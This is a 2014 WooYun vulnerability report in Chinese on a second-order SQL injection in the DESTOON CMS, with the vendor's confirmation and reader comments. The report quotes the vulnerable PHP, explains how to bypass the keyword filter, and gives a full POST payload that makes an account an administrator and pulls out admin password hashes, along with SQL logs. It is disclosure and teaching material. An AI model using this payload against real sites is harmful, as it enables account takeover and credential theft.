当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(17) 关注此漏洞

缺陷编号: WooYun-2014-69012

漏洞标题: DESTOON 最新版注入可提升为管理员权限

相关厂商: DESTOON

漏洞作者: Noxxx

提交时间: 2014-07-19 18:32

公开时间: 2014-10-17 18:34

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

5人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-19: 细节已通知厂商并且等待厂商处理中
2014-07-20: 厂商已经确认,细节仅向厂商公开
2014-07-23: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-13: 细节向核心白帽子及相关领域专家公开
2014-09-23: 细节向普通白帽子公开
2014-10-03: 细节向实习白帽子公开
2014-10-17: 细节向公众公开

简要描述:

20140716
注入,提升权限可登陆后台
(终于要升级了..)

详细说明:

由于注册的时候 公司名称没有做什么过滤 (只是 看是否有数字 如有就不通过 反之通过)



修改资料的时候又从数据库中吧 公司名称 查出来 然后进入查询流程所导致的注入 由于 admin权限的表不是独立的 所以我们可以更新 用户组



1 - 注册 判断公司名称的代码



在 member.class.php is_member() 中

124 - 130 行



code 区域
if($groupid > 5) {
if(strlen($member['company']) < 2) return $this->_($L['member_company_null']);
if(preg_match("/[0-9]+/", $member['company'])) return $this->_($L['member_company_bad']); //这里 判断是不是数字 是数字就判断结束 .
if($this->company_exists($member['company'])) return $this->_($L['member_company_reg']);
if(strlen($member['type']) < 2) return $this->_($L['member_type_null']);
if(strlen($member['telephone']) < 6) return $this->_($L['member_telephone_null']);
}









2 - 修改资料 的代码



member/edit.inc.php





code 区域
$user = $do->get_one(); //这里先把查出来  在赋值到$post去 (防止有先变量被修改) 
因为公司名称 是可以控制的 我们输入注册的时候 输入 \ 让他转义掉后面的单引号
if($submit) {
if($post['password'] && $user['password'] != md5(md5($post['oldpassword']))) message($L['error_password']);
if($post['payword'] && $user['payword'] != md5(md5($post['oldpayword']))) message($L['error_payword']);
$post['groupid'] = $user['groupid'];
$post['email'] = $user['email'];
$post['passport'] = $user['passport'];
$post['company'] = $user['company']; //在这里
$post['domain'] = $user['domain'];
$post['icp'] = $user['icp'];
$post['skin'] = $user['skin'];
$post['template'] = $user['template'];
$post['edittime'] = $DT_TIME;
$post['bank'] = $user['bank'];
$post['account'] = $user['account'];
$post['validated'] = $user['validated'];
$post['validator'] = $user['validator'];
$post['validtime'] = $user['validtime'];
$post['vemail'] = $user['vemail'];
$post['vmobile'] = $user['vmobile'];
$post['vtruename'] = $user['vtruename'];
$post['vbank'] = $user['vbank'];
$post['vcompany'] = $user['vcompany'];
$post['vtrade'] = $user['vtrade'];
$post['trade'] = $user['trade'];
$post['support'] = $user['support'];
$post['inviter'] = $user['inviter'];
if($post['vmobile']) $post['mobile'] = $user['mobile'];
if($post['vtruename']) $post['truename'] = $user['truename'];
if($do->edit($post)) { //进入修改查询流程 我们进去看看









3 - edit() 的代码



code 区域
function edit($member)	{
if(!$this->is_member($member)) return false;
$member = $this->set_member($member);
$r = $this->get_one();
$member['linkurl'] = userurl($r['username'], '', $member['domain']);
$member_fields = array('company','passport','sound','email','msn','qq','ali','skype','gender','truename','mobile','department','career','groupid','areaid', 'edittime','black','bank','account','vemail','vmobile','vbank','vtruename','vcompany','vtrade','trade','support','inviter'); //会员列
$company_fields = array('company','type','areaid', 'catid','catids','business','mode','regyear','regunit','capital','size','address','postcode','telephone','fax','mail','homepage','sell','buy','introduce','thumb','keyword','linkurl','groupid','domain','icp','validated','validator','validtime','skin','template');//公司列
$member_sql = $company_sql = '';
foreach($member as $k=>$v) {
if(in_array($k, $member_fields)) $member_sql .= ",$k='$v'"; //遍历数据 有符合的就连接起来
if(in_array($k, $company_fields)) $company_sql .= ",$k='$v'"; //遍历数据 有符合的就连接起来
}
if($member['password']) {
$password = md5(md5($member['password']));
$member_sql .= ",password='$password'";
}
if($member['payword']) {
$payword = md5(md5($member['payword']));
$member_sql .= ",payword='$payword'";
}
$member_sql = substr($member_sql, 1);
$company_sql = substr($company_sql, 1);
$this->db->query("UPDATE {$this->table_member} SET $member_sql WHERE userid=$this->userid");//进入查询
$this->db->query("UPDATE {$this->table_company} SET $company_sql WHERE userid=$this->userid");//进入查询
$content_table = content_table(4, $this->userid, is_file(DT_CACHE.'/4.part'), $this->table_company_data);
$this->db->query("UPDATE {$content_table} SET content='$member[content]' WHERE userid=$this->userid");
$member['userid'] = $this->userid;
$member['vip'] = $r['vip'];
userclean($member['username']);
return true;
}





4 . 构造exp



由于post是个数组 又用了 foreach 我们可以 随意控制数组的位置

而且可以 先把 post[company]=ok先赋值掉(占个位子) 后面接着我们可控字段就可以了

---

还有个就是 全局过滤的问题



strip_sql()



原先是 /select([[:space:]\*\/\-])/i这样的

只需要 select(xxx)from(xx) 这样就能了

现在是 /select([[:space:]\*\/\-\(])/i

不过 还是能绕过过滤 select+(XXXX)from

这样既可,还有个问题就是 where这个被直接过滤掉了

"/where/i"

更新的时候,就不好办了 容易把所有用户全部更新掉..

研究了一下 ORDER BY username=16541651564 DESC LIMIT 1 这样就可以了 .. 不过你注册的用户名必须为数字的



exp:



tab=3&post[truename]=1&post[sound]=1&post[type]=1111&post[areaid]=1&post[catid]=,0,&post[business]=11ssssssssssssssss&post[regyear]=2004&post[regunit]=14&post[company]=ok&post[address]=,groupid=1 ORDER BY username=16541651564 DESC LIMIT 1#&post[ali]=,groupid=1,admin=1 ,mobile=(SELECT+PW FROM(SELECT+(MAKE_SET(-1,admin,username,PASSWORD)) AS PW FROM destoon_member ORDER BY admin DESC ) a LIMIT 0,1) ORDER BY username=16541651564 DESC LIMIT 1 #&&post[telephone]=132232132&post[fax]=&post[mail]=&post[homepage]=&post[introduce]=aaaaa&submit=1



mobile=这里也可以直接 (SELECT+(MAKE_SET(-1,admin,username,PASSWORD)) LIMIT 0,1)

我这个有点麻烦..sql没学多少。。





sql日志



UPDATE destoon_member SET truename='1',sound='1',areaid='1',company='xxxxx\',ali=',groupid=1,admin=1 ,mobile=(SELECT+PW FROM(SELECT+(MAKE_SET(-1,admin,username,PASSWORD)) AS PW FROM destoon_member ORDER BY admin DESC ) a LIMIT 0,1) ORDER BY username=16541651564 DESC LIMIT 1 #',groupid='6',email='1231ee23@**.**.**.**',passport='16541651564',edittime='1405752561',bank='',account='',vemail='0',vmobile='0',vtruename='0',vbank='0',vcompany='0',vtrade='0',trade='',support='',inviter='',msn='',qq='' WHERE userid=12





UPDATE destoon_company SET type='1111',areaid='1',catid=',0,',business='11ssssssssssssssss',regyear='2004',regunit='14',company='xxxxx\',address=',groupid=1 ORDER BY username=16541651564 DESC LIMIT 1#',telephone='132232132',fax='',mail='',homepage='',introduce='',groupid='6',domain='',icp='',skin='',template='',validated='0',validator='',validtime='0',postcode='',mode='',keyword='xxxxx\默认地区,11ssssssssssssssss,,,',capital='',catids=',,',linkurl='**.**.**.**/php/destoon_new/index.php?homepage=16541651564' WHERE userid=12









-----------------

注册的时候用burp 修改下公司 名称 :xxx\





漏洞证明:

QQ截图20140719144547.jpg





QQ截图20140719144725.jpg





QQ截图20140719144925.jpg





QQ截图20140719145006.jpg





QQ截图20140719145029.jpg

修复方案:

过滤

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-07-20 11:31

厂商回复:

感谢反馈,我们会尽快修复

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
0%
100%
0%
0%
0%

评价

  1. 2014-07-19 19:01 | CoffeeSafe ( 普通白帽子 | Rank:142 漏洞数:37 )
    2

    掉渣天~~~~~

  2. 2014-07-20 23:26 | Martes ( 路人 | Rank:23 漏洞数:4 | 人若无名,便可专心练剑)
    0

    恭喜大牛快要生了, 膜拜下~~

  3. 2014-08-09 15:19 | Noxxx ( 普通白帽子 | Rank:700 漏洞数:55 )
    0

    这个username 也可以用 userid代替

  4. 2014-10-20 16:39 | 宇少 ( 普通白帽子 | Rank:106 漏洞数:41 | Jyhack-TeaM:bbs.jyhack.com 群:308694453...)
    0

    后台要关闭数据验证才可以的 所以很鸡勒

  5. 2014-10-20 17:23 | Noxxx ( 普通白帽子 | Rank:700 漏洞数:55 )
    0

    @宇少 没影响

  6. 2014-10-22 10:49 | 浪子老柒 ( 实习白帽子 | Rank:65 漏洞数:5 | 关注网络安全)
    0

    mark

登录后才能发表评论,请先 登录